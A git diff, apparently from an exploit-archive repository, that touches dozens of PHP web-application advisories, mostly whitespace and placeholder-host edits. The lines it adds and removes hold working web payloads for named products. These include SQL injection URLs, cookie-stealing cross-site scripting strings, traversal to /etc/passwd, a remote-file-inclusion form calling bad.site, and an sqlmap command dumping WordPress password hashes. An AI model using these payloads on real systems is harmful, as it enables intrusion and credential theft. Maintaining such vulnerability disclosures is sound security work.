b/platforms/php/webapps/36975.txt @@ -4,4 +4,4 @@ Vacation Packages is prone to an SQL-injection vulnerability because it fails to A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://wwww.example.com/vacation-packages/demo.php?controller=Listings&action=search&listing_search=1&season=2' \ No newline at end of file +http://wwww.example.com/vacation-packages/demo.php?controller=Listings&action=search&listing_search=1&season=2' \ No newline at end of file diff --git a/platforms/php/webapps/36992.txt b/platforms/php/webapps/36992.txt index 8f695960b..f557520bf 100755 --- a/platforms/php/webapps/36992.txt +++ b/platforms/php/webapps/36992.txt @@ -3,8 +3,8 @@ # Date: 2015-04-28 # Exploit Author: John Page (hyp3rlinx) #Website: hyp3rlinx.altervista.org/ -# Vendor Homepage: http://www.wftpserver/serverhistory.htm -# Software Link: http://www.wftpserver/ +# Vendor Homepage: http://www.wftpserver.com/serverhistory.htm +# Software Link: http://www.wftpserver.com/ # Version: 4.4.5 # Tested on: windows 7 # Category: webapps @@ -12,7 +12,7 @@ Wing FTP Server Admin 4.4.5 - CSRF Vulnerability Add Users Vendor: -http://www.wftpserver/serverhistory.htm +http://www.wftpserver.com/serverhistory.htm ============================================ diff --git a/platforms/php/webapps/36997.txt b/platforms/php/webapps/36997.txt index 8e4150c0a..8337128fa 100755 --- a/platforms/php/webapps/36997.txt +++ b/platforms/php/webapps/36997.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow CMSimple 3.3 is vulnerable; other versions may also be affected. -http://www.example.com//cmsimple/cmsimplexh152/?'"</script><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com//cmsimple/cmsimplexh152/?'"</script><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/37008.txt b/platforms/php/webapps/37008.txt index 52216c732..c3ab0e45f 100755 --- a/platforms/php/webapps/37008.txt +++ b/platforms/php/webapps/37008.txt @@ -4,4 +4,4 @@ Event Calendar PHP is prone to a cross-site scripting vulnerability because it f An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/demo_eventcalendar.php?cal_id=1&cal_month=2&cal_year=[XSS] \ No newline at end of file +http://www.example.com/demo_eventcalendar.php?cal_id=1&cal_month=2&cal_year=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37010.txt b/platforms/php/webapps/37010.txt index 154b90611..5fef243f6 100755 --- a/platforms/php/webapps/37010.txt +++ b/platforms/php/webapps/37010.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow FbiLike 1.00 is vulnerable; other versions may also be affected. -http://www.example.com/fbilike/like.php?id=[XSS] \ No newline at end of file +http://www.example.com/fbilike/like.php?id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37011.txt b/platforms/php/webapps/37011.txt index 1b0d3cd52..48824cb62 100755 --- a/platforms/php/webapps/37011.txt +++ b/platforms/php/webapps/37011.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Geeklog 1.8.1 is vulnerable; other versions may also be affected. -http://www.example.com/easyfile/index.php?folder=(SQLI) \ No newline at end of file +http://www.example.com/easyfile/index.php?folder=(SQLI) \ No newline at end of file diff --git a/platforms/php/webapps/37016.txt b/platforms/php/webapps/37016.txt index b4ab629d7..0b32410e6 100755 --- a/platforms/php/webapps/37016.txt +++ b/platforms/php/webapps/37016.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow WordPress Integrator 1.32 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-login.php?redirect_to=http://%3F1<ScrIpT>alert(666)</ScrIpT> \ No newline at end of file +http://www.example.com/wordpress/wp-login.php?redirect_to=http://%3F1<ScrIpT>alert(666)</ScrIpT> \ No newline at end of file diff --git a/platforms/php/webapps/37017.txt b/platforms/php/webapps/37017.txt index 1124d703d..5bdf2f89f 100755 --- a/platforms/php/webapps/37017.txt +++ b/platforms/php/webapps/37017.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Invision Power Board 4.2.1 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?s=blablabla&&app=gallery&module=ajax&section=albumSelector&do=albumSelectorPane&secure_key=blalblabla&type=upload&albums=search&moderate=&album_id=1593&member_id=&searchType=member&searchMatch=is&searchIsGlobal=0&searchSort=date&searchDir=desc&searchText=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000252%29%3C%2Fscript%3E \ No newline at end of file +http://www.example.com/index.php?s=blablabla&&app=gallery&module=ajax&section=albumSelector&do=albumSelectorPane&secure_key=blalblabla&type=upload&albums=search&moderate=&album_id=1593&member_id=&searchType=member&searchMatch=is&searchIsGlobal=0&searchSort=date&searchDir=desc&searchText=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000252%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/37021.txt b/platforms/php/webapps/37021.txt index bb99a5a1e..239be8dc6 100755 --- a/platforms/php/webapps/37021.txt +++ b/platforms/php/webapps/37021.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor TomatoCart 1.2.0 Alpha 2 is vulnerable; other versions may also be affected. -http://www.example.com/json.php?action=3&module=../../../../../../../../../../../../../../boot.ini%00 \ No newline at end of file +http://www.example.com/json.php?action=3&module=../../../../../../../../../../../../../../boot.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/37022.txt b/platforms/php/webapps/37022.txt index 4f066f543..ba688bd69 100755 --- a/platforms/php/webapps/37022.txt +++ b/platforms/php/webapps/37022.txt @@ -10,4 +10,4 @@ http://www.example.com/code_editor.php?path=%22%3E%3Cscript%3Ealert%28document.c http://www.example.com/code_editor.php?path&line=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E -http://www.example.com/site/catalogue_file.php?original_filename=1.txt&file=%252e%252e%252f%252e%252e%252finfo.php \ No newline at end of file +http://www.example.com/site/catalogue_file.php?original_filename=1.txt&file=%252e%252e%252f%252e%252e%252finfo.php \ No newline at end of file diff --git a/platforms/php/webapps/37023.txt b/platforms/php/webapps/37023.txt index 4338af9d2..dab872163 100755 --- a/platforms/php/webapps/37023.txt +++ b/platforms/php/webapps/37023.txt @@ -4,4 +4,4 @@ EasyPHP is prone to an SQL-injection vulnerability because the application fails A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/home/sqlite/main.php?dbsel=1&table=t1' \ No newline at end of file +http://www.example.com/home/sqlite/main.php?dbsel=1&table=t1' \ No newline at end of file diff --git a/platforms/php/webapps/37024.txt b/platforms/php/webapps/37024.txt index 3e9b7f06a..86c48b00e 100755 --- a/platforms/php/webapps/37024.txt +++ b/platforms/php/webapps/37024.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow eZ Publish 4.6 is vulnerable; other versions may also be affected. -http://www.example.com/ezjscore/call<img%20src%3Dlien%20onerror%3Dalert(document.cookie)>/ezjsc:time \ No newline at end of file +http://www.example.com/ezjscore/call<img%20src%3Dlien%20onerror%3Dalert(document.cookie)>/ezjsc:time \ No newline at end of file diff --git a/platforms/php/webapps/37025.txt b/platforms/php/webapps/37025.txt index 3f9f7d32b..b444d9fe1 100755 --- a/platforms/php/webapps/37025.txt +++ b/platforms/php/webapps/37025.txt @@ -5,4 +5,4 @@ PHP Designer 2007 - Personal is prone multiple SQL-injection vulnerabilities. A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/read_news.php?news_id=[Sqli] -http://www.example.com/announce.php?id=[Sqli] \ No newline at end of file +http://www.example.com/announce.php?id=[Sqli] \ No newline at end of file diff --git a/platforms/php/webapps/37026.txt b/platforms/php/webapps/37026.txt index 0695f34ae..60722e8a9 100755 --- a/platforms/php/webapps/37026.txt +++ b/platforms/php/webapps/37026.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access e107 1.0.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?option=com_flexicontent&view=[Sql] \ No newline at end of file +http://www.example.com/index.php?option=com_flexicontent&view=[Sql] \ No newline at end of file diff --git a/platforms/php/webapps/37027.txt b/platforms/php/webapps/37027.txt index d481ffc3d..0d6997bf2 100755 --- a/platforms/php/webapps/37027.txt +++ b/platforms/php/webapps/37027.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Simple Machines Forum 2.0.2 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?scheduled=[Xss] \ No newline at end of file +http://www.example.com/index.php?scheduled=[Xss] \ No newline at end of file diff --git a/platforms/php/webapps/37028.txt b/platforms/php/webapps/37028.txt index c4c235bd2..7f9fa7b8c 100755 --- a/platforms/php/webapps/37028.txt +++ b/platforms/php/webapps/37028.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow JamWiki 1.1.5 is vulnerable; other versions may also be affected. -http://www.example.com/jamwiki/en/Special:AllPages?num=[XSS] \ No newline at end of file +http://www.example.com/jamwiki/en/Special:AllPages?num=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/3704.txt b/platforms/php/webapps/3704.txt index aa94f8c45..2603d32bb 100755 --- a/platforms/php/webapps/3704.txt +++ b/platforms/php/webapps/3704.txt @@ -1,4 +1,4 @@ -. . . + . . . ._ | _. .|_ _. _.;_/ [_)|(_]\_|[ )(_](_.| \.net | ._| diff --git a/platforms/php/webapps/3705.txt b/platforms/php/webapps/3705.txt index 1b2666d37..6c5cb7c54 100755 --- a/platforms/php/webapps/3705.txt +++ b/platforms/php/webapps/3705.txt @@ -17,6 +17,6 @@ include $site.".php"; -- Exploit: -http://server/[path]/index.php?site=[EvilScript] +http://site.com/[path]/index.php?site=[EvilScript] # milw0rm.com [2007-04-10] diff --git a/platforms/php/webapps/37062.txt b/platforms/php/webapps/37062.txt index b5e593309..98e5ce163 100755 --- a/platforms/php/webapps/37062.txt +++ b/platforms/php/webapps/37062.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access VBulletin 4.1.10 is vulnerable; other versions may also be affected. -http://www.example.com/announcement.php?a=&announcementid=[Sql] \ No newline at end of file +http://www.example.com/announcement.php?a=&announcementid=[Sql] \ No newline at end of file diff --git a/platforms/php/webapps/37063.txt b/platforms/php/webapps/37063.txt index ae1fa1bef..7e9924a19 100755 --- a/platforms/php/webapps/37063.txt +++ b/platforms/php/webapps/37063.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access Update Apr 9, 2012: The vendor disputes this issue stating the issue can not be exploited as described, as the reported parameter does not exist. -http://www.example.com/wp-content/plugins/taggator/taggator.php?tagid=[Sql] \ No newline at end of file +http://www.example.com/wp-content/plugins/taggator/taggator.php?tagid=[Sql] \ No newline at end of file diff --git a/platforms/php/webapps/37071.txt b/platforms/php/webapps/37071.txt index 8c99f6b7e..ea31bba4b 100755 --- a/platforms/php/webapps/37071.txt +++ b/platforms/php/webapps/37071.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to compromise the application, access or mo CitrusDB 2.4.1 is vulnerable; other versions may also be affected. -http://www.example.com/lab/citrus-2.4.1/index.php?load=../../../../../etc/passwd%00&type=base \ No newline at end of file +http://www.example.com/lab/citrus-2.4.1/index.php?load=../../../../../etc/passwd%00&type=base \ No newline at end of file diff --git a/platforms/php/webapps/37072.txt b/platforms/php/webapps/37072.txt index 94bfe8e9b..6ace83391 100755 --- a/platforms/php/webapps/37072.txt +++ b/platforms/php/webapps/37072.txt @@ -8,4 +8,4 @@ Matterdaddy Market 1.1 is vulnerable; other versions may also be affected. http://www.example.com/mdmarket/admin/controller.php?cat_name=1&cat_order=-1%27[SQL INJECTION]&add=Add+Category&op=newCategory -http://www.example.com/mdmarket/admin/controller.php?cat_name=-1%27[SQL INJECTION]&cat_order=1&add=Add+Category&op=newCategory \ No newline at end of file +http://www.example.com/mdmarket/admin/controller.php?cat_name=-1%27[SQL INJECTION]&cat_order=1&add=Add+Category&op=newCategory \ No newline at end of file diff --git a/platforms/php/webapps/37080.txt b/platforms/php/webapps/37080.txt index 286354955..3054f4b22 100755 --- a/platforms/php/webapps/37080.txt +++ b/platforms/php/webapps/37080.txt @@ -74,18 +74,18 @@ Proof of concept: ----------------- The following HTTP request to the forum page returns the topic with id 1: =============================================================================== -http://www.server/?page_id=4&cid=1&show=1 AND 1=1 +http://www.site.com/?page_id=4&cid=1&show=1 AND 1=1 =============================================================================== The following HTTP request to the forum page returns a blank page, thus confirming the blind SQL injection vulnerability: =============================================================================== -http://www.server/?page_id=4&cid=1&show=1 AND 1=0 +http://www.site.com/?page_id=4&cid=1&show=1 AND 1=0 =============================================================================== Obtaining users and password hashes with sqlmap may look as follows: ================================================================================ -sqlmap -u "http://www.server/?page_id=4&cid=1&show=1" -p "show" --technique=B --dbms=mysql --sql-query="select user_login,user_pass from wp_users" +sqlmap -u "http://www.site.com/?page_id=4&cid=1&show=1" -p "show" --technique=B --dbms=mysql --sql-query="select user_login,user_pass from wp_users" ================================================================================ diff --git a/platforms/php/webapps/37083.txt b/platforms/php/webapps/37083.txt index 5e7b01e36..0fb1b9d33 100755 --- a/platforms/php/webapps/37083.txt +++ b/platforms/php/webapps/37083.txt @@ -10,4 +10,4 @@ http://www.example.com/beatz/index.php?option=com_charts&view=charts&Itemid=76&c http://www.example.com/beatz/index.php?do=listAll&keyword=++Search";><img+src=0+onerror=prompt(/XSS/)>&option=com_find -http://www.example.com/beatz/index.php?option=com_videos&view=videos&Itemid=59&video_keyword="+style="width:1000px;height:1000px;position:absolute;left:0;top:0"+onmouseover="alert(/xss/)&search=Search \ No newline at end of file +http://www.example.com/beatz/index.php?option=com_videos&view=videos&Itemid=59&video_keyword="+style="width:1000px;height:1000px;position:absolute;left:0;top:0"+onmouseover="alert(/xss/)&search=Search \ No newline at end of file diff --git a/platforms/php/webapps/37086.txt b/platforms/php/webapps/37086.txt index 4c516d06b..356fb8114 100755 --- a/platforms/php/webapps/37086.txt +++ b/platforms/php/webapps/37086.txt @@ -5,4 +5,4 @@ Yahoo Answer plugin for WordPress is prone to multiple cross-site scripting vuln An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. http://www.example.com/[]/[]/process-imported-question.php?catname=[xss] -http://www.example.com/[]/[]/editautopilot.php?query=[xss] \ No newline at end of file +http://www.example.com/[]/[]/editautopilot.php?query=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/37087.txt b/platforms/php/webapps/37087.txt index d3f5ec9c5..baf42ab68 100755 --- a/platforms/php/webapps/37087.txt +++ b/platforms/php/webapps/37087.txt @@ -7,4 +7,4 @@ Attacker-supplied HTML or JavaScript code could run in the context of the affect TeamPass 2.1.5 is vulnerable; other versions may also be affected. POST /TeamPass/sources/users.queries.php HTTP/1.1 -type=add_new_user&login=[XSS]&pw=testing2&email=test&admin=false&manager=true&read_only=false&personal_folder=false&new_folder_role_domain=false&domain=test&key=key \ No newline at end of file +type=add_new_user&login=[XSS]&pw=testing2&email=test&admin=false&manager=true&read_only=false&personal_folder=false&new_folder_role_domain=false&domain=test&key=key \ No newline at end of file diff --git a/platforms/php/webapps/37090.txt b/platforms/php/webapps/37090.txt index d15dc3167..69e8fbfc7 100755 --- a/platforms/php/webapps/37090.txt +++ b/platforms/php/webapps/37090.txt @@ -4,4 +4,4 @@ The JA T3 Framework component for Joomla! is prone to a directory-traversal vuln Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks. -http://www.example.com/jojo/index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1 \ No newline at end of file +http://www.example.com/jojo/index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1 \ No newline at end of file diff --git a/platforms/php/webapps/37091.txt b/platforms/php/webapps/37091.txt index b638a05cb..89dacbb8c 100755 --- a/platforms/php/webapps/37091.txt +++ b/platforms/php/webapps/37091.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Acuity CMS 2.6.2 is vulnerable; other versions may also be affected. -http://www.example.com/admin/login.asp?UserName=";><script>prompt(/xss/)</script> \ No newline at end of file +http://www.example.com/admin/login.asp?UserName=";><script>prompt(/xss/)</script> \ No newline at end of file diff --git a/platforms/php/webapps/37094.txt b/platforms/php/webapps/37094.txt index 47b8688de..cc6383aae 100755 --- a/platforms/php/webapps/37094.txt +++ b/platforms/php/webapps/37094.txt @@ -12,4 +12,4 @@ ownCloud 3.0.0 is vulnerable; other versions may also be affected. http://www.example.com/owncloud/index.php?redirect_url=1"><script>alert("Help Me")</script><l=" (must not be logged in) -http://www.example.com/owncloud/index.php?redirect_url=http%3a//www.boeserangreifer.de/ \ No newline at end of file +http://www.example.com/owncloud/index.php?redirect_url=http%3a//www.boeserangreifer.de/ \ No newline at end of file diff --git a/platforms/php/webapps/37100.txt b/platforms/php/webapps/37100.txt index a22362e6a..c5771e883 100755 --- a/platforms/php/webapps/37100.txt +++ b/platforms/php/webapps/37100.txt @@ -10,4 +10,4 @@ http://www.example.com/WebApps/products_xx.php?id=[XSS] SQL Injection -http://www.example.com/WebApps/products_xx.php?id=[SQL Injection] \ No newline at end of file +http://www.example.com/WebApps/products_xx.php?id=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/37101.txt b/platforms/php/webapps/37101.txt index 07d58960a..70d3d3553 100755 --- a/platforms/php/webapps/37101.txt +++ b/platforms/php/webapps/37101.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access CCNewsLetter 1.0.7 is vulnerable; prior versions may also be affected. - http://www.example.com/modules/mod_ccnewsletter/helper/popup.php?id=[SQLi] \ No newline at end of file + http://www.example.com/modules/mod_ccnewsletter/helper/popup.php?id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/37102.txt b/platforms/php/webapps/37102.txt index bad6198ed..39f94bf17 100755 --- a/platforms/php/webapps/37102.txt +++ b/platforms/php/webapps/37102.txt @@ -10,4 +10,4 @@ http://www.example.com/index.php?option=com_videogallery&Itemid=68' http://www.example.com/index.php?option=com_videogallery&Itemid=[id]' [ SQLi Here ]-- -http://www.example.com/&controller=../../../../../../../../../../../../[LFT]%00 \ No newline at end of file +http://www.example.com/&controller=../../../../../../../../../../../../[LFT]%00 \ No newline at end of file diff --git a/platforms/php/webapps/37103.txt b/platforms/php/webapps/37103.txt index 45acebe70..13d79150c 100755 --- a/platforms/php/webapps/37103.txt +++ b/platforms/php/webapps/37103.txt @@ -8,4 +8,4 @@ concrete5 5.5.2.1 is vulnerable; other versions may also be affected. http://www.example.com/concrete5.5.2.1/index.php/tools/required/edit_collection_popup.php?approveImmediately=%22%3e%3cimg%20src%3dx%20onerror%3dalert(123123123)%3e&cID=102&ctask=edit_metadata -http://www.example.com/concrete5.5.2.1/index.php?cID=121&bID=38&arHandle=Main&ccm_token=...:...&btask=''%3b!--"%3cbody%20onload%3dalert(12312312323)%3e%3d%26{()}&method=submit_form \ No newline at end of file +http://www.example.com/concrete5.5.2.1/index.php?cID=121&bID=38&arHandle=Main&ccm_token=...:...&btask=''%3b!--"%3cbody%20onload%3dalert(12312312323)%3e%3d%26{()}&method=submit_form \ No newline at end of file diff --git a/platforms/php/webapps/37104.txt b/platforms/php/webapps/37104.txt index 7d599b21e..2ac2dcc7e 100755 --- a/platforms/php/webapps/37104.txt +++ b/platforms/php/webapps/37104.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow gpEasy 2.3.3 is vulnerable; other versions may also be affected. -http://www.example.com/index.php/Admin_Preferences?gpreq=json&jsoncallback=<h1>test<br>test2<%2fh1> \ No newline at end of file +http://www.example.com/index.php/Admin_Preferences?gpreq=json&jsoncallback=<h1>test<br>test2<%2fh1> \ No newline at end of file diff --git a/platforms/php/webapps/37105.txt b/platforms/php/webapps/37105.txt index 36bc60f8d..1288b4edd 100755 --- a/platforms/php/webapps/37105.txt +++ b/platforms/php/webapps/37105.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Quick.CMS 4.0 is vulnerable; other versions may also be affected. -http://www.example.com/admin/?p=[xss] \ No newline at end of file +http://www.example.com/admin/?p=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/3711.htm b/platforms/php/webapps/3711.htm index a89bdb711..329fbbc6e 100755 --- a/platforms/php/webapps/3711.htm +++ b/platforms/php/webapps/3711.htm @@ -20,7 +20,7 @@ April 11th, 2007 <center><br><br><font size=4>CodeBreak (codebreak.php process_method) - Remote File Inclusion Vulnerability</font><br><font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a><br><br>Google d0rk: <a href="http://www.google.com/search?q=intitle%3A%22CodeBreak+-+Hidden+Morse+Code">intitle:"CodeBreak - Hidden Morse Code"</a></font><br> <br><br> -<form action="http://server/codebreak.php" method="post"> +<form action="http://www.target.com/codebreak.php" method="post"> <input name="input_text" size=75 value="input_text" type=hidden> <input name="process_method" size=75 value="http://bad.site/badcode.txt?"> <input type=submit value="Execute RFI Attack" class="button"> diff --git a/platforms/php/webapps/37116.py b/platforms/php/webapps/37116.py index 9a3394f44..f57b75bc0 100755 --- a/platforms/php/webapps/37116.py +++ b/platforms/php/webapps/37116.py @@ -15,9 +15,9 @@ def Menu(): print "-Kullanim Klavuzu [ USAGE ] " print "-------------------------------------------------------" print "- Temel Kullanim - I [ Default Usage ] : " - print "- python exo.py server / \n" + print "- python exo.py www.target.com / \n" print "- Temel Kullanim - II [ Default Usage ] : " - print "- python exo.py server /path/ \n" + print "- python exo.py www.target.com /path/ \n" if (len(sys.argv) <= 2) or (len(sys.argv) > 3): Menu() exit(1) diff --git a/platforms/php/webapps/37118.txt b/platforms/php/webapps/37118.txt index 8e865e7c9..2a8b9f251 100755 --- a/platforms/php/webapps/37118.txt +++ b/platforms/php/webapps/37118.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SKYUC 3.2.1 is vulnerable; other versions may also be affected. -http://www.example.com/search.php?encode=[XSS] \ No newline at end of file +http://www.example.com/search.php?encode=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37120.txt b/platforms/php/webapps/37120.txt index 9e6cbb94e..ea4df5089 100755 --- a/platforms/php/webapps/37120.txt +++ b/platforms/php/webapps/37120.txt @@ -4,4 +4,4 @@ Uiga FanClub is prone to an SQL-injection vulnerability because it fails to suff A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[Patch]/index2.php?c=1&p=[SQL] \ No newline at end of file +http://www.example.com/[Patch]/index2.php?c=1&p=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/37122.txt b/platforms/php/webapps/37122.txt index 0f2d7f119..5476509fa 100755 --- a/platforms/php/webapps/37122.txt +++ b/platforms/php/webapps/37122.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access PHP Volunteer Management 1.0.2 is vulnerable; other versions may also be affected. -http://www.example.com/mods/messages/data/get_messages.php?id=[SQLi]&take=10&skip=0&page=1&pageSize=10 \ No newline at end of file +http://www.example.com/mods/messages/data/get_messages.php?id=[SQLi]&take=10&skip=0&page=1&pageSize=10 \ No newline at end of file diff --git a/platforms/php/webapps/37123.txt b/platforms/php/webapps/37123.txt index 10b2d79a7..ce9b01677 100755 --- a/platforms/php/webapps/37123.txt +++ b/platforms/php/webapps/37123.txt @@ -4,4 +4,4 @@ The WPsc MijnPress for WordPress is prone to a cross-site scripting vulnerabilit An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/wp-content/plugins/wp-content/plugins/wpsc-mijnpress/mijnpress_plugin_framework.php?rwflush=[xss] \ No newline at end of file +http://www.example.com/wp-content/plugins/wp-content/plugins/wpsc-mijnpress/mijnpress_plugin_framework.php?rwflush=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/37132.txt b/platforms/php/webapps/37132.txt index e42bb690e..b3c4b563c 100755 --- a/platforms/php/webapps/37132.txt +++ b/platforms/php/webapps/37132.txt @@ -21,11 +21,11 @@ contains this widget will also load the malicious JS code. * Send a post request to `http://www.free-counter.org/Api.php` in order to reveal the counter id of the vulnerable site. The POST data must contain the following vars: -`action=create_new_counter&site_url=http%3A%2f%my.vulnerable.webserver` +`action=create_new_counter&site_url=http%3A%2f%my.vulnerable.website.com` * As a response we get a serialized indexed array. The value that we need to know is the 'counter_id'. * Send a post request to -`http://my.vulnerable.webserver/wp-admin/admin-ajax.php` with data: +`http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: `action=check_stat&id_counter=<counter_id from step 2>&value_=<script>alert(1)</script>` * Visit a page of the infected website that displays plugin's widget. diff --git a/platforms/php/webapps/37136.txt b/platforms/php/webapps/37136.txt index 4289bbca8..322eab130 100755 --- a/platforms/php/webapps/37136.txt +++ b/platforms/php/webapps/37136.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Trombinoscope 3.5 and prior versions are vulnerable. -http://www.example.com/[script]/photo.php?id=-9999/**/union/**/select/**/1,2,version()-- \ No newline at end of file +http://www.example.com/[script]/photo.php?id=-9999/**/union/**/select/**/1,2,version()-- \ No newline at end of file diff --git a/platforms/php/webapps/37137.txt b/platforms/php/webapps/37137.txt index 94df4a296..b81932894 100755 --- a/platforms/php/webapps/37137.txt +++ b/platforms/php/webapps/37137.txt @@ -9,4 +9,4 @@ The following products are affected: Schneider Electric Telecontrol Kerweb versions prior to 3.0.1 Schneider Electric Telecontrol Kerwin versions prior to 6.0.1 -http://www.example.com/kw.dll?page=evts.xml&sessionid=xxx&nomenu=&typeevtwin=alms&dt=&gtvariablevalue=&ltvariablevalue=&variablevalue=&nevariablevalue=&evtclass=&evtdevicezone=&evtdevicecountry=&evtdeviceregion=&evtstatustype=&evtseveritytype=&evtstatus=&evtseverity=&evtlevel=&gtdateapp=&ltdateapp=&gtdaterec=&ltdaterec=&evtvariablename=[XSS] \ No newline at end of file +http://www.example.com/kw.dll?page=evts.xml&sessionid=xxx&nomenu=&typeevtwin=alms&dt=&gtvariablevalue=&ltvariablevalue=&variablevalue=&nevariablevalue=&evtclass=&evtdevicezone=&evtdevicecountry=&evtdeviceregion=&evtstatustype=&evtseveritytype=&evtstatus=&evtseverity=&evtlevel=&gtdateapp=&ltdateapp=&gtdaterec=&ltdaterec=&evtvariablename=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37138.txt b/platforms/php/webapps/37138.txt index 670bb6874..f320cfb54 100755 --- a/platforms/php/webapps/37138.txt +++ b/platforms/php/webapps/37138.txt @@ -4,4 +4,4 @@ Ramui Forum Script is prone to a cross-site scripting vulnerability because it f An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com//gb/user/index.php?query=%22%20onmouseover%3dprompt%28991522%29%20bad%3d%22 \ No newline at end of file +http://www.example.com//gb/user/index.php?query=%22%20onmouseover%3dprompt%28991522%29%20bad%3d%22 \ No newline at end of file diff --git a/platforms/php/webapps/37139.txt b/platforms/php/webapps/37139.txt index 76859fc18..d30c20a2a 100755 --- a/platforms/php/webapps/37139.txt +++ b/platforms/php/webapps/37139.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to bypass authentication to gain administrative JibberBook 2.3 is vulnerable; other versions may also be affected. -http://www.example.com/Admin/Login_form.php?loggedin=true \ No newline at end of file +http://www.example.com/Admin/Login_form.php?loggedin=true \ No newline at end of file diff --git a/platforms/php/webapps/37140.html b/platforms/php/webapps/37140.html index e5f9ee2ff..95a87177e 100755 --- a/platforms/php/webapps/37140.html +++ b/platforms/php/webapps/37140.html @@ -12,4 +12,4 @@ PHP Enter 4.1.2 is vulnerable; other versions may also be affected. <textarea name="code">&lt;/textarea&gt; <br /><br /> <input type="submit" name="submit" VALUE=" Submit"><br /><br /><br /><br/> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/php/webapps/37142.txt b/platforms/php/webapps/37142.txt index 1142bdc26..67253265a 100755 --- a/platforms/php/webapps/37142.txt +++ b/platforms/php/webapps/37142.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. -http://www.example.com/plugins/ajaxCalls/haltResumeHsp.php?newHspStatus=1&empId=2&hspSummaryId=%27%20 OR%20%28select%20IF%28%28select%20mid%28version%28%29,1,1%29%29=5,%28select%20BENCHMARK%281000000,EN CODE%28%22hello%22,%22goodbye%22%29%29%29,%272%27%29%29%20--%202 \ No newline at end of file +http://www.example.com/plugins/ajaxCalls/haltResumeHsp.php?newHspStatus=1&empId=2&hspSummaryId=%27%20 OR%20%28select%20IF%28%28select%20mid%28version%28%29,1,1%29%29=5,%28select%20BENCHMARK%281000000,EN CODE%28%22hello%22,%22goodbye%22%29%29%29,%272%27%29%29%20--%202 \ No newline at end of file diff --git a/platforms/php/webapps/37144.txt b/platforms/php/webapps/37144.txt index e80c4d08a..e44083b43 100755 --- a/platforms/php/webapps/37144.txt +++ b/platforms/php/webapps/37144.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an 